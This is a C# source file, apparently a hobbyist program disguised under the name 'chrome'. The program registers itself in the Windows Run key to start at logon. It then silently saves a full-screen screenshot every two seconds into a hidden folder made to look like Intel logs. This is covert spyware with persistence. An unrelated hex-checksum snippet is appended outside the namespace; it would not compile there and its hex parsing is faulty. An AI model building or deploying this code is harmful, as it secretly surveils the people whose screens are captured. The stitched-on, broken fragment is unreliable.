C#

using System;
using System.Threading;
using System.Reflection;
using System.IO;
using System.Drawing;

namespace chrome
{
    static class Program
    {
        static void Main()
        {
            //-----this code will make your program to automatically execute as computer starts----
            try
            {
                Microsoft.Win32.RegistryKey key = Microsoft.Win32.Registry.CurrentUser.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", true);
                Assembly curAssembly = Assembly.GetExecutingAssembly();
                key.SetValue(curAssembly.GetName().Name, curAssembly.Location);
                Console.WriteLine(curAssembly.GetName());

            }
            catch (Exception e)
            {
                Console.WriteLine("show1:" + e.Message);
            }
            //------------------

            //------------screenshot  loop takes screenshots after 1 min-----------
            int n = 0;
            while (n == 0)
            {
                try
                {

                    OnTimedEvent();
                    Thread.Sleep(2000);
                }
                catch (Exception e)
                {
                    Console.WriteLine("show2:" + e.Message);
                }
                //-------------------------

            }
        }// main body ends !

        public static string st = "";
        public static string date = "";
        public static string month = "";
        public static string year = "";
        public static string time = "";
        public static string hour = "";
        public static string min = "";
        public static string sec = "";


        private static void OnTimedEvent()
        {
            st = DateTime.Today.Date.ToString();
            time = DateTime.Now.TimeOfDay.ToString();

            hour = DateTime.Now.Hour.ToString();
            min = DateTime.Now.Minute.ToString();
            sec = DateTime.Now.Second.ToString();

            date = DateTime.Today.Day.ToString();
            month = DateTime.Today.Month.ToString();
            year = DateTime.Today.Year.ToString();

            Console.WriteLine("The Elapsed event was raised at {0}_{1}_{2} at time {3}_{4}_{5} ", date, month, year, hour, min, sec);

            Bitmap memoryImage;
            memoryImage = new Bitmap(1366, 768);
            Size s = new Size(memoryImage.Width, memoryImage.Height);

            // Create graphics
            Graphics memoryGraphics = Graphics.FromImage(memoryImage);
            // Copy data from screen
            memoryGraphics.CopyFromScreen(0, 0, 0, 0, s);
            string str = "";

            //------------creating directory--------
            if (Directory.Exists("C:\\Intel\\Logs\\dsp"))
            {
                Console.WriteLine("directory exits");
            }
            else
            {
                Directory.CreateDirectory("C:\\Intel\\Logs\\dsp");
                File.SetAttributes("C:\\Intel\\Logs\\dsp", FileAttributes.Hidden);
                Console.WriteLine("new directory created");
            }
            //---------------------------------------

            str = string.Format("C:\\Intel\\Logs\\dsp\\{0}_{1}.png", date + month + year, hour + min + sec);

            //------------

            try
            {
                memoryImage.Save(str);
            }
            catch (Exception er)
            {
                Console.WriteLine("Sorry, there was an error: " + er.Message);
            }
        }
    }
}

        //---------------------------------------------------------

private string GetChecksum(string strData)
       {
           byte checksum = 0;
           char[] DataArray = strData.ToCharArray();
           byte ArrayLen = 0;
           string strAscii;

           //Add all bytes of the string
           while (ArrayLen < strData.Length)
           {
               if ((DataArray[ArrayLen]) != ':')
               {
                   checksum += (byte)(GetNumberFromString(DataArray[ArrayLen], DataArray[ArrayLen + 1]));
                   ArrayLen++;
               }
               ArrayLen++;
           }

           //1's complement of the addition
           checksum = (byte)(~(int)checksum);

           //2's complement of the addition
           checksum += 1;

           strAscii = ((checksum & 0xF0) >> 4).ToString("X") + (checksum & 0x0F).ToString("X");
           return strAscii;
       }


       private byte GetNumberFromString(char cHighByte, char cLowByte)
       {
           uint uHighByte, uLowByte;
           uint uFinalNum;

           uHighByte = GetHexValueFromAscii(cHighByte);
           uLowByte = GetHexValueFromAscii(cLowByte);

           uFinalNum = (uHighByte << 4) + uLowByte;

           return (byte)uFinalNum;
       }


       private byte GetHexValueFromAscii(char Ascii)
       {
           byte HexNum;
           if ((Ascii >= 0x30) && (Ascii <= 0x39))
           {
               HexNum = (byte)(Ascii & 0x0F);
           }
           else
           {
               HexNum = (byte)Ascii;
           }
           return HexNum;
       }